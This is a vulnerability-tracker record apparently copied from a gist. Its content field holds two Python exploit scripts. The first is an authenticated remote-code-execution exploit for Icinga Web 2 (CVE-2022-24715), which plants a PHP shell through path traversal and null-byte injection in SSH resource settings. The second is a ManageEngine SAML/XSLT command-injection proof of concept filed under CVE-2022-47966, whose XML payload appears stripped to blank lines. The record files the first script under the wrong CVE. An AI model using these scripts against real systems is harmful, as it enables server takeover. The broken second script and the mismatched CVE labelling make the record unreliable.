{"uuid": "edbecc66-61d5-472b-826d-84c047fb4cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://gist.github.com/byt3n33dl3/5161bdcd67e51cfe5a50b3112382d951", "content": "#!/usr/bin/env python3\nimport argparse\nimport bs4\nimport random\nimport requests\n\n\nclass CVE_2022_24715:\n\n    random_private_key = '''-----BEGIN RSA PRIVATE KEY-----\nMIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAsQ/QH+NWTNSa/rY1\nFM0wGT2AMCBiwxGf9BUSVxwZjzwIJ21ZYzGePXa3Sl9WPFfL1iXTt8l25FyJlw/0\nBDk96wIDAQABAkEAmYm60kwSw+EA3qsl8HnVoa2BATq0Ka+Y4tF66+rEBz14CecK\n9kdF6Riti3ntt6OFplZ05zY/NyBl1lLcvY598QIhANlw08TR2/rYu9SchwSRQjs0\nN13yo/yLeZBjV3kaYCmNAiEA0HXmKiuuZbR4CtnZUptyja2ZG+47lbq4eyrVk1Fe\nW1cCIGFucxXAS2fNcezE7qMXS6wnq5+HN//Tp3cRbIKxVOGJAiAvOobrBvp8EGci\nDjkufgl2D96gdVkKk0M4pHu+5LB8AQIgZ31NPGShnAq4fNa71cNKbM7R3ywgijuV\ntAZB3bwiboU=\n-----END RSA PRIVATE KEY-----'''\n    php_web_shell = ''\n\n    def __init__(self, args):\n        self.url = args.target.rstrip('/')\n        self.session = requests.Session()\n        if args.proxy:\n            self.session.proxies = {'http': args.proxy, 'https': args.proxy}\n        self.creds = (args.username, args.password)\n        self.code = args.code + ';'\n\n    @staticmethod\n    def rand():\n        return random.randbytes(8).hex()\n\n    def csrf_post(self, path, data):\n        url = self.url + path\n        get_response = self.session.get(url)\n\n        soup = bs4.BeautifulSoup(get_response.text, 'lxml')\n        token = soup.find('input', {'id': 'CSRFToken'})['value']\n        data['CSRFToken'] = token\n\n        return self.session.post(url, data=data)\n\n    def exploit(self):\n        response = self.csrf_post('/authentication/login', {\n            'username': self.creds[0],\n            'password': self.creds[1],\n            'rememberme': '0',\n            'redirect': '',\n            'formUID': 'form_login',\n            'btn_submit': 'Login'\n        })\n        if response.status_code == 302:\n            print('Login successful!')\n\n        if self.session.get(self.url + '/shm/run').content.startswith(b'file://'):\n            print(self.execute())\n            return\n\n        self.csrf_post('/config/general', {\n            'global_show_stacktraces': '1',\n            'global_show_application_state_messages': '1',\n            'global_module_path': '/dev',\n            'global_config_resource': 'icingaweb2',\n            'logging_log': 'syslog',\n            'logging_level': 'ERROR',\n            'logging_application': 'icingaweb2',\n            'logging_facility': 'user',\n            'runs_default': 'Icinga',\n            'runs_disabled': '0',\n            'authentication_default_domain': '',\n            'formUID': 'form_config_general',\n            'btn_submit': 'Save Changes'\n        })\n\n        self.csrf_post('/config/moduleenable', {\n            'identifier': 'shm',\n            'btn_submit': 'btn_submit'\n        })\n\n        ssh_name = self.rand()\n\n        self.csrf_post('/config/createresource', {\n            'type': 'ssh',\n            'name': ssh_name,\n            'user': ssh_name,\n            'private_key': self.random_private_key,\n            'formUID': 'form_config_resource',\n            'btn_submit': 'Save Changes'\n        })\n\n        self.csrf_post('/config/createresource', {\n            'type': 'ssh',\n            'name': self.rand(),\n            'user': '../../../../../../dev/shm/run.php',\n            'private_key': f'file:///etc/icingaweb2/ssh/{ssh_name}\\x00' + self.php_web_shell,\n            'formUID': 'form_config_resource',\n            'btn_submit': 'Save Changes'\n        })\n\n        print(self.execute())\n\n    def execute(self):\n        post_data = {\"e\": self.code}\n        response = self.session.post(self.url + '/shm/run', data=post_data)\n        output = b''.join(response.content.split(b'')[:-1])[44:]\n        return output\n\n\ndef main():\n    parser = argparse.ArgumentParser(prog='CVE-2022-24715.py', description='Icinga Web 2 - CVE-2022-24715 Authenticated RCE Exploit')\n    required = parser.add_argument_group('required arguments')\n    required.add_argument('target', metavar='PROTO://HOST[:PORT][/PATH]', help='URI pointing to Icingaweb2 web root (Ex: \"http://example.com:8080/icingaweb2\")')\n    required.add_argument('-u', '--username', required=True, help='Icinga web account username')\n    required.add_argument('-p', '--password', required=True, help='Icinga web account password')\n    required.add_argument('-c', '--code', required=True, help='PHP code to run')\n    parser.add_argument('--proxy', default=None, metavar='PROTO://[USER:PASS@]HOST[:PORT]', help='Proxy to send requests through')\n\n    CVE_2022_24715(parser.parse_args()).exploit()\n\n\nif __name__ == '__main__':\n    main()\n\n#!/usr/bin/env python3\nimport urllib3\nimport base64\nimport requests\nimport argparse\nfrom xml.sax.saxutils import escape\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nparser = argparse.ArgumentParser(description=\"ManageEngine CVE-2022-47966 PoC (fixed structure &amp; escaping)\")\nparser.add_argument(\"--url\", type=str, required=True, help=\"Target SAML endpoint (e.g. https://host:9251/samlLogin/...)\")\nparser.add_argument(\"--command\", type=str, required=True, help=\"Command to execute on the target (will be placed in the XSLT)\")\nparser.add_argument(\"--issuer\", type=str, required=True, help=\"Issuer URL for the SAML assertion\")\nparser.add_argument(\"--relay-state\", type=str, required=False, default=\"\", help=\"RelayState value (if required)\")\nargs = parser.parse_args()\n\nurl = args.url\ncommand = args.command\nissuer = args.issuer\nrelay_state = args.relay_state\n\n# Escape XML special characters in the injected command\ncmd_escaped = escape(command, {\"'\": \"&apos;\", '\"': \"&quot;\"})\n\n# Keep the Assertion ID constant so the ds:Reference URI matches it\nassertion_id = \"_b5a2e9aa-8955-4ac6-94f5-334047882600\"\n\nsaml = f\"\"\"\n\n  \n    \n  \n\n  \n  \n    {issuer}\n\n    \n      \n        \n        \n        \n          \n            \n            \n              \n                \n                  \n                  \n                  \n                  \n                \n              \n            \n          \n          \n          H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=\n        \n      \n      RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==\n      \n    \n  \n\n\"\"\"\n\nencoded_saml = base64.b64encode(saml.encode()).decode()\n\ndata = {\n    \"SAMLResponse\": encoded_saml,\n}\nif relay_state:\n    data[\"RelayState\"] = relay_state\n\nprint(f\"[+] POST {url}\")\nprint(f\"[+] Issuer: {issuer}\")\nif relay_state:\n    print(f\"[+] RelayState: {relay_state}\")\n\nresponse = requests.post(url, data=data, verify=False, allow_redirects=True, timeout=20)\n\nprint(f\"[+] HTTP {response.status_code}\")\nprint(f\"[+] Final URL: {response.url}\")\n# print a chunk of response so you can look for evidence the XSLT ran (or process string)\nprint(response.text[:4000])", "creation_timestamp": "2026-08-10T18:03:51.588593Z"}